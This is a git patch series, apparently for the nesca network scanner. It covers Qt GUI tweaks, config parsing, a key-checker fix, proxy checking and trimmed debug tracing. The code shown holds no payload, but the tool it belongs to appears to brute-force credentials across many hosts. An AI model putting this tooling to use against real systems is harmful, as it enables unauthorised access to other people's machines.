DrawerTh_ME2Scanner::itmList[38]; + DrawerTh_ME2Scanner::itmList.pop_back(); }; - - if(u > 10) u = 1; }; } @@ -853,7 +857,6 @@ void nesca_3::activateME2ScanScene() ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); sceneUpper->clear(); - sceneGrid->clear(); sceneGrid2->clear(); sceneGraph->clear(); @@ -873,22 +876,12 @@ void nesca_3::activateME2ScanScene() QoSScanFlag = false; VoiceScanFlag = false; PieStatFlag = false; - - for(int i = 0; i < sceneGrid->items().size(); ++i) - { - sceneGrid->removeItem(sceneGrid->items()[i]); - sceneGrid->items().clear(); - }; - for(int i = 0; i < sceneGrid2->items().size(); ++i) - { - sceneGrid2->removeItem(sceneGrid2->items()[i]); - sceneGrid2->items().clear(); - }; if(dtHN->isRunning() == false) { dtHN->start(); }; + if(dtME2->isRunning() == false) { dtME2->start(); @@ -947,7 +940,7 @@ void nesca_3::activateQoSScanBut() sceneUpper->clear(); sceneTextPlacer->clear(); sceneVoice->clear(); - vect.clear(); + DrawerTh_ME2Scanner::polyVect.clear(); if(dtQoS->isRunning() == false) dtQoS->start(); if(dtGridQoS->isRunning() == false) dtGridQoS->start(); @@ -1869,48 +1862,6 @@ void nesca_3::slotIRCGetTopic(QString str) ui->ircText->append(rData); } -//unsigned char jpgHeader[623] = { -// 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, -// 0x00, 0x60, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, -// 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x05, 0x03, 0x03, 0x03, 0x03, 0x03, 0x06, 0x04, -// 0x04, 0x03, 0x05, 0x07, 0x06, 0x07, 0x07, 0x07, 0x06, 0x07, 0x07, 0x08, 0x09, 0x0B, 0x09, 0x08, -// 0x08, 0x0A, 0x08, 0x07, 0x07, 0x0A, 0x0D, 0x0A, 0x0A, 0x0B, 0x0C, 0x0C, 0x0C, 0x0C, 0x07, 0x09, -// 0x0E, 0x0F, 0x0D, 0x0C, 0x0E, 0x0B, 0x0C, 0x0C, 0x0C, 0xFF, 0xDB, 0x00, 0x43, 0x01, 0x02, 0x02, -// 0x02, 0x03, 0x03, 0x03, 0x06, 0x03, 0x03, 0x06, 0x0C, 0x08, 0x07, 0x08, 0x0C, 0x0C, 0x0C, 0x0C, -// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, -// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, -// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0xFF, 0xC0, -// 0x00, 0x11, 0x08, 0x00, 0x64, 0x00, 0x80, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, -// 0x01, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, -// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, -// 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x10, 0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, -// 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D, 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, -// 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08, 0x23, -// 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16, 0x17, -// 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, -// 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, -// 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, -// 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, -// 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, -// 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, -// 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF1, -// 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xC4, 0x00, 0x1F, 0x01, 0x00, 0x03, -// 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, -// 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x11, 0x00, -// 0x02, 0x01, 0x02, 0x04, 0x04, 0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, -// 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, -// 0x22, 0x32, 0x81, 0x08, 0x14, 0x42, 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23, 0x33, 0x52, 0xF0, 0x15, -// 0x62, 0x72, 0xD1, 0x0A, 0x16, 0x24, 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18, 0x19, 0x1A, 0x26, 0x27, -// 0x28, 0x29, 0x2A, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, -// 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, -// 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, -// 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, -// 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, -// 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE2, -// 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, -// 0xFA, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00 -//}; -// int c = 1; void nesca_3::slotSaveImage(QAction *qwe) @@ -2414,7 +2365,6 @@ void nesca_3::slotIncData(QString ip, QString str) }; } -#pragma region SM_Buts void nesca_3::smReaction() { QObject *smB = this->sender(); @@ -2849,7 +2799,6 @@ void nesca_3::changeNSTrackLabel(bool status) else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); } -#pragma region "Signal assignments" void nesca_3::ConnectEvrthng() { connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate())); @@ -2891,7 +2840,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->startScanButton_4, SIGNAL( clicked() ), this, SLOT( startScanButtonClickedDNS() ) ); connect ( ui->shuffle_onoff, SIGNAL(toggled(bool)), this, SLOT(ChangeShuffle(bool))); connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); - connect ( ui->pingingOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangePingerOK(bool) ) ); +// connect ( ui->pingingOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangePingerOK(bool) ) ); connect ( ui->debugFileOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeDebugFileState(bool) ) ); connect ( ui->importThreads, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); connect ( ui->threadLine, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); @@ -3107,27 +3056,36 @@ void RestoreSession() }; }; - if(strstr(resStr, "[NDBSERVER]:") != NULL) ui->lineTrackerSrv->setText(loadNescaSetup(resStr, "[NDBSERVER]:").simplified()); - if(strstr(resStr, "[NDBSCRIPT]:") != NULL) ui->lineTrackerScr->setText(loadNescaSetup(resStr, "[NDBSCRIPT]:").simplified()); - if(strstr(resStr, "[NDBPORT]:") != NULL) ui->trcSrvPortLine->setText(loadNescaSetup(resStr, "[NDBPORT]:").simplified()); - if(strstr(resStr, "[PING]:") != NULL) ui->pingingOnOff->setText(loadNescaSetup(resStr, "[PING]:").simplified()); - if(strstr(resStr, "[PING_TO]:") != NULL) ui->PingTO->setText(loadNescaSetup(resStr, "[PING_TO]:").simplified()); - if(strstr(resStr, "[THREAD_DELAY]:") != NULL) ui->threadDelayBox->setText(loadNescaSetup(resStr, "[THREAD_DELAY]:").simplified()); - if(strstr(resStr, "[TIMEOUT]:") != NULL) { - ui->iptoLine_value->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); - ui->iptoLine_value_2->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); - ui->iptoLine_value_3->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); - } - if(strstr(resStr, "[MAXBTHR]:") != NULL) ui->maxBrutingThrBox->setText(loadNescaSetup(resStr, "[MAXBTHR]:").simplified()); - if(strstr(resStr, "[PERSKEY]:") != NULL) ui->linePersKey->setText(loadNescaSetup(resStr, "[PERSKEY]:").simplified()); - if(strstr(resStr, "[IRCSERVER]:") != NULL) ui->ircServerBox->setText(loadNescaSetup(resStr, "[IRCSERVER]:").simplified()); - if(strstr(resStr, "[IRCPORT]:") != NULL) ui->serverPortBox->setText(loadNescaSetup(resStr, "[IRCPORT]:").simplified()); - if(strstr(resStr, "[IRCPROXY]:") != NULL) ui->ircProxy->setText(loadNescaSetup(resStr, "[IRCPROXY]:").simplified()); - if(strstr(resStr, "[IRCPROXYPORT]:") != NULL) ui->ircProxyPort->setText(loadNescaSetup(resStr, "[IRCPROXYPORT]:").simplified()); - if(strstr(resStr, "[SYSTEMPROXYIP]:") != NULL) ui->systemProxyIP->setText(loadNescaSetup(resStr, "[SYSTEMPROXYIP]:").simplified()); - if(strstr(resStr, "[SYSTEMPROXYPORT]:") != NULL) ui->systemProxyPort->setText(loadNescaSetup(resStr, "[SYSTEMPROXYPORT]:").simplified()); - if(strstr(resStr, "[IRCNICK]:") != NULL) ui->ircNickBox->setText(loadNescaSetup(resStr, "[IRCNICK]:").simplified()); - ZeroMemory(resStr, sizeof(resStr)); + if (strstr(resStr, "[NDBSERVER]:") != NULL) ui->lineTrackerSrv->setText(loadNescaSetup(resStr, "[NDBSERVER]:").simplified()); + else if (strstr(resStr, "[NDBSCRIPT]:") != NULL) ui->lineTrackerScr->setText(loadNescaSetup(resStr, "[NDBSCRIPT]:").simplified()); + else if (strstr(resStr, "[NDBPORT]:") != NULL) ui->trcSrvPortLine->setText(loadNescaSetup(resStr, "[NDBPORT]:").simplified()); + else if (strstr(resStr, "[PING]:") != NULL) { + lex = strstr(resStr, "[PING]:") + strlen("[PING]:"); + + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; + } + else if (strstr(resStr, "[PING_TO]:") != NULL) ui->PingTO->setText(loadNescaSetup(resStr, "[PING_TO]:").simplified()); + else if (strstr(resStr, "[THREAD_DELAY]:") != NULL) ui->threadDelayBox->setText(loadNescaSetup(resStr, "[THREAD_DELAY]:").simplified()); + else if (strstr(resStr, "[TIMEOUT]:") != NULL) { + const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); + ui->iptoLine_value->setText(tempLex); + ui->iptoLine_value_2->setText(tempLex); + ui->iptoLine_value_3->setText(tempLex); + } + else if (strstr(resStr, "[MAXBTHR]:") != NULL) ui->maxBrutingThrBox->setText(loadNescaSetup(resStr, "[MAXBTHR]:").simplified()); + else if (strstr(resStr, "[PERSKEY]:") != NULL) ui->linePersKey->setText(loadNescaSetup(resStr, "[PERSKEY]:").simplified()); + else if (strstr(resStr, "[IRCSERVER]:") != NULL) ui->ircServerBox->setText(loadNescaSetup(resStr, "[IRCSERVER]:").simplified()); + else if (strstr(resStr, "[IRCPORT]:") != NULL) ui->serverPortBox->setText(loadNescaSetup(resStr, "[IRCPORT]:").simplified()); + else if (strstr(resStr, "[IRCPROXY]:") != NULL) ui->ircProxy->setText(loadNescaSetup(resStr, "[IRCPROXY]:").simplified()); + else if (strstr(resStr, "[IRCPROXYPORT]:") != NULL) ui->ircProxyPort->setText(loadNescaSetup(resStr, "[IRCPROXYPORT]:").simplified()); + else if (strstr(resStr, "[SYSTEMPROXYIP]:") != NULL) ui->systemProxyIP->setText(loadNescaSetup(resStr, "[SYSTEMPROXYIP]:").simplified()); + else if (strstr(resStr, "[SYSTEMPROXYPORT]:") != NULL) ui->systemProxyPort->setText(loadNescaSetup(resStr, "[SYSTEMPROXYPORT]:").simplified()); + else if (strstr(resStr, "[IRCNICK]:") != NULL) ui->ircNickBox->setText(loadNescaSetup(resStr, "[IRCNICK]:").simplified()); + ZeroMemory(resStr, sizeof(resStr)); }; fclose(resFile); @@ -3236,13 +3194,7 @@ void _startMsgCheck() QTime time = QTime::currentTime(); qsrand((uint)time.msec()); - - QLinearGradient gradient(0, 0, 0, 20); - gradient.setColorAt(0, QColor(0,255,0)); - gradient.setColorAt(0.5, QColor(100,100,100, 100)); - gradient.setColorAt(1, QColor(255,255,255, 60)); - pen2i.setBrush(gradient); - + ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); char rVer[32] = {0}; diff --git a/nesca_3.h b/nesca_3.h index 4a12fd7..ddc922d 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -1,7 +1,10 @@ #ifndef nesca_3_H #define nesca_3_H -#pragma once +//Include windows.h ONLY *after* qdatetime.h +//Bug: https://bugreports.qt.io/browse/QTBUG-31469 + +#include <qdatetime.h> #include <QMainWindow> #include <qapplication.h> #include <qgraphicsitem.h> @@ -12,7 +15,6 @@ #include <QSystemTrayIcon> #include <QtGui/qevent.h> #include <qthread.h> -#include <qdatetime.h> #include <qjsonobject.h> #include <qjsonvalue.h> #include <qjsonarray.h> @@ -31,7 +33,6 @@ extern char endIP2[128], inputStr[256]; extern SOCKET lSock; extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst; -extern QVector<QPointF> vect; extern QList<int> lstOfLabels; extern QSystemTrayIcon *tray; diff --git a/nesca_3.ui b/nesca_3.ui index 720c9df..c09152b 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -91,7 +91,7 @@ <enum>QTabWidget::Rounded</enum> </property> <property name="currentIndex"> - <number>3</number> + <number>0</number> </property> <property name="elideMode"> <enum>Qt::ElideMiddle</enum> @@ -1186,13 +1186,13 @@ border-radius: 3px;</string> </font> </property> <property name="whatsThis"> - <string>Ping hosts before connection attempts. (For bad internet-providers)</string> + <string>Ping hosts before connection attempts.</string> </property> <property name="styleSheet"> <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> </property> <property name="text"> - <string>Ping hosts:</string> + <string>Ping hosts</string> </property> <property name="shortcut"> <string>Ctrl+S</string> @@ -1340,7 +1340,7 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>390</x> - <y>89</y> + <y>90</y> <width>51</width> <height>20</height> </rect> @@ -1774,7 +1774,7 @@ border-radius: 3px;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Consolas'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -2537,7 +2537,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -3521,7 +3521,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3657,7 +3657,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 501cb9c..a15d1dc 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -2282,6 +2282,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) int startScan(char* args) { + curl_global_init(CURL_GLOBAL_ALL); SSL_library_init(); OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ SSL_load_error_strings(); /* Bring in and register error messages */ diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp index ea1c411..1db931a 100644 --- a/oIRC_Th.cpp +++ b/oIRC_Th.cpp @@ -549,7 +549,6 @@ void IRCLoop() } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) { - QTime time = QTime::currentTime(); qsrand((uint)time.msec()); ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); From 163c8d368e2250148bdaa37688f3a38362e3e97b Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Tue, 10 Mar 2015 17:35:50 +0300 Subject: [PATCH 27/66] Key checker fix --- ActivityDrawerTh_HorNet.cpp | 10 +- CheckKey_Th.cpp | 26 +-- CheckProxy_Th.cpp | 4 - Connector.cpp | 55 +----- DrawerTh_ME2Scanner.h | 2 +- DrawerTh_QoSScanner.cpp | 19 +- IRCPinger_Th.cpp | 3 +- Utils.h | 15 +- connector_old.cpp | 2 +- externData.h | 8 +- finder.cpp | 337 +++++++++++++----------------------- mainResources.h | 50 ++++-- nesca.pro | 2 + nesca_3.cpp | 284 +++++++++++++++--------------- nesca_3.h | 5 +- nesca_3.ui | 12 +- nesca_startModule.cpp | 283 +++++++++--------------------- oIRC_Th.cpp | 2 +- 18 files changed, 446 insertions(+), 673 deletions(-) diff --git a/ActivityDrawerTh_HorNet.cpp b/ActivityDrawerTh_HorNet.cpp index cd7b11e..db19e28 100644 --- a/ActivityDrawerTh_HorNet.cpp +++ b/ActivityDrawerTh_HorNet.cpp @@ -4,11 +4,12 @@ void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data) { emit adtHN->sDrawActivityLine(data); -}; +} + void ActivityDrawerTh_HorNet::doEmitDrawGrid() { emit adtHN->sDrawGrid(); -}; +} void makeActLine(int val) { @@ -18,7 +19,8 @@ void makeActLine(int val) actLst.pop_front(); actLst.push_back(val); }; -}; +} + void ActivityDrawerTh_HorNet::run() { adtHN->doEmitDrawGrid(); @@ -34,4 +36,4 @@ void ActivityDrawerTh_HorNet::run() Activity = 0; msleep(130); }; -}; \ No newline at end of file +} diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 9ac16bd..6cfd09b 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -1,4 +1,3 @@ -#pragma once #include "CheckKey_Th.h" #include "CheckProxy_Th.h" #include "STh.h" @@ -36,6 +35,7 @@ void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) }; }; } + int emitIfOK = -1; int KeyCheckerMain() { @@ -57,11 +57,13 @@ int KeyCheckerMain() std::string buffer; Connector::nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); - int hostStringIndex = Utils::ci_find_substr(buffer, std::string("\r\n\r\n")); + int hostStringIndex = buffer.find("\r\n\r\n"); if(hostStringIndex != -1) { - const char *ptr1 = buffer.c_str() + hostStringIndex + 4; - buffer.clear(); - Connector::nConnect((std::string(ptr1) + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(), + + int s = buffer.find("http://", hostStringIndex); + int e = buffer.find('/', s + 8); + std::string url = buffer.substr(s, e - s); + Connector::nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); if(Utils::ci_find_substr(buffer, std::string("202 Accepted")) != -1) { @@ -72,22 +74,20 @@ int KeyCheckerMain() return 1; } else if(Utils::ci_find_substr(buffer, std::string("400 Bad Request")) != -1) { QString errorDef = GetNSErrorDefinition(buffer.c_str(), "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[Key checker] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(buffer.c_str(), "notify") + "]"); - return -1; + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] Key is unauthorized. A valid key is required."); + else stt->doEmitionYellowFoundData("[Key check] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(buffer.c_str(), "notify") + "]"); } else if(Utils::ci_find_substr(buffer, std::string("503 Bad Gateway")) != -1) { - stt->doEmitionYellowFoundData("[Key checker] 503 Backend not responding!"); - return -1; + stt->doEmitionYellowFoundData("[Key check] 503 Backend not responding!"); } else { char header[64] = {0}; getSubStrEx(buffer.c_str(), "http/1.1 ", "\r\n", header, 64); - stt->doEmitionRedFoundData("[Key checker] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>"); + stt->doEmitionRedFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>"); if(gDebugMode) stt->doEmitionDebugFoundData(QString(buffer.c_str())); - return -1; }; } else { - stt->doEmitionRedFoundData("[Key checker] Cannot acquire host string."); + stt->doEmitionRedFoundData("[Key check] Cannot acquire host string."); } + return -1; } void CheckKey_Th::run() diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp index 403075a..02f10b2 100644 --- a/CheckProxy_Th.cpp +++ b/CheckProxy_Th.cpp @@ -80,14 +80,12 @@ void CheckProxyLogic() ) { - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); ZeroMemory(precvBuff, sizeof(precvBuff)); while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) { - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); @@ -103,8 +101,6 @@ void CheckProxyLogic() && strstr(precvBuff, "gateway timeout") == NULL ) { - - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); proxyEnabledFlag = 1; diff --git a/Connector.cpp b/Connector.cpp index b75438e..dcaf0b8 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -226,55 +226,6 @@ struct data { char trace_ascii; /* 1 or 0 */ }; -static -void dump(const char *text, - FILE *stream, unsigned char *ptr, size_t size, - char nohex) -{ - size_t i; - size_t c; - - unsigned int width=0x10; - - if(nohex) - /* without the hex output, we can fit more on screen */ - width = 0x40; - - fprintf(stream, "%s, %10.10ld bytes (0x%8.8lx)\n", - text, (long)size, (long)size); - - for(i=0; i<size; i+= width) { - - fprintf(stream, "%4.4lx: ", (long)i); - - if(!nohex) { - /* hex not disabled, show it */ - for(c = 0; c < width; c++) - if(i+c < size) - fprintf(stream, "%02x ", ptr[i+c]); - else - fputs(" ", stream); - } - - for(c = 0; (c < width) && (i+c < size); c++) { - /* check for 0D0A; if found, skip past and start a new line of output */ - if (nohex && (i+c+1 < size) && ptr[i+c]==0x0D && ptr[i+c+1]==0x0A) { - i+=(c+2-width); - break; - } - fprintf(stream, "%c", - (ptr[i+c]>=0x20) && (ptr[i+c]<0x80)?ptr[i+c]:'.'); - /* check again for 0D0A, to avoid an extra \n if it's at width */ - if (nohex && (i+c+2 < size) && ptr[i+c+1]==0x0D && ptr[i+c+2]==0x0A) { - i+=(c+3-width); - break; - } - } - fputc('\n', stream); /* newline */ - } - fflush(stream); -} - static int my_trace(CURL *handle, curl_infotype type, char *data, size_t size, @@ -285,14 +236,14 @@ int my_trace(CURL *handle, curl_infotype type, (void)handle; /* prevent compiler warning */ switch (type) { - case CURLINFO_TEXT: + case CURLINFO_HEADER_OUT: + if(MapWidgetOpened) stt->doEmitionAddOutData(QString("size"), QString(data)); + cout<<"Data: "<<data<<endl; //fprintf(stderr, "== Info: %s", data); default: /* in case a new one is introduced to shock us */ return 0; } - if(MapWidgetOpened) stt->doEmitionAddOutData(QString("size"), QString(data)); - dump(text, stderr, (unsigned char *)data, size, config->trace_ascii); return 0; } diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h index 397d2f8..a2c3c1f 100644 --- a/DrawerTh_ME2Scanner.h +++ b/DrawerTh_ME2Scanner.h @@ -10,7 +10,7 @@ class DrawerTh_ME2Scanner : public QThread Q_OBJECT public: - static QList<QGraphicsPathItem*> itmList; + static QList<QGraphicsPathItem*> itmList; static QVector<QPointF> polyVect; static void doEmitionAddPolyLine(); diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp index a67efc4..dfc695c 100644 --- a/DrawerTh_QoSScanner.cpp +++ b/DrawerTh_QoSScanner.cpp @@ -1,16 +1,11 @@ -#pragma once #include "DrawerTh_QoSScanner.h" #include "STh.h" #include "externData.h" -int tMax; - void DrawerTh_QoSScanner::run() { while(QoSScanFlag) - { - tMax = 0; - + { if(stt->isRunning() == true && widgetIsHidden == false && tray->isVisible() == false && QOSWait == false) { lstOfLabels.clear(); @@ -19,15 +14,13 @@ void DrawerTh_QoSScanner::run() lstOfLabels.append(WF); lstOfLabels.append(Susp); lstOfLabels.append(Lowl); - lstOfLabels.append((int)BA); + lstOfLabels.append(BA); lstOfLabels.append(Overl); 